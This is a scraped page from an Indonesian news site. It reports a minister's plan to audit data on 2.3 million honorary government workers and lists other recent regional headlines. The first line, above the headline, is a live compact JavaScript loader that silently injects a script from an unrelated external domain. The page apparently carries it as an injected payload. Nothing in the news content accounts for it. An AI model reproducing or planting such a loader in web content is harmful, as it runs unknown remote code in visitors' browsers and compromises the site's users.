(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Membengkak 2,3 Juta Orang, Menteri PAN RB Bakal Audit Data Tenaga Honorer Â


KANALKALIMANTAN.COM, JAKARTA – Menteri Pendayagunaan Aparatur Negara dan Reformasi Birokrasi (PAN RB) Abdullah Azwar Anas berjanji segera melakukan audit data tenaga honorer atau non ASN (Aparatur Sipil Negara). Audit tersebut dilakukan melalui kerja sama dengan Badan Pengawas Keuangan dan Pembangunan (BPKP).

“Kita akan bekerja sama dengan BPKP untuk mengaudit data tenaga honorer atau non ASN yang dikirim ke pemerintah. Harapan kami, ke depan bisa terverifikasi lebih detail,” kata Anas di Jakarta, Kamis (20/7/2023) siang, dikutip dari Beritasatu.com -mitra jejaring Kanalkalimantan.com.

Menurut Anas, jumlah tenaga honorer saat ini membengkak menjadi 2,3 juta orang. Hal itu terjadi sejak keluarnya Peraturan Pemerintah (PP) tahun 2018 yang melarang adanya pengangkatan pegawai non ASN di lingkungan pemerintahan.

Baca juga: Marak Promosi Judi Online di Live Streaming Esports, Kominfo Ancam Hukum Influencer 

“Tahun 2018 kan tinggal 400.000 orang. Setelah itu tidak boleh lagi ada rekrutmen tetapi ternyata setelah didata, jumlahnya menjadi 2,4 sekian juta. Setelah kita minta surat pertanggungjawaban mutlak dari instansi yang mengirimkan, data turun jadi 2,3 juta orang,” jelas Anas.

Kendati demikian, data 2,3 juta tenaga honorer tersebut masih diragukan kebenarannya. Sebab, data tersebut masih menggunakan data sampel.

Baca juga: 40 ASN Pemkab Banjar Jalani PKA Angkatan III Pola Fasilitasi

“Kemarin kami minta bantuan BPKP untuk melakukan verifikasi. Ternyata ada beberapa data yang memang masih meragukan. Jadi diaudit seluruh data supaya menciptakan rasa keadilan,” imbuhnya.

Menteri PAN RB berharap, pemerintah daerah dan instansi juga dapat melakukan verifikasi ulang data dengan sebenar-benarnya.

“Kami sangat berharap, pemda dan instansi untuk melakukan verifikasi ulang data. Nanti dicek berapa tahun sebenarnya anggaran yang dicairkan pemerintah. Nanti akan kelihatan dengan mereka yang baru dimasukkan. Sekali lagi, ini untuk keadilan bagi teman-teman yang telah lama mengabdi untuk mendapatkan afirmasi,” tandas Anas. (kanalkalimantan.com/beritasatu.com/kk)

Reporter: beritasatu
Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.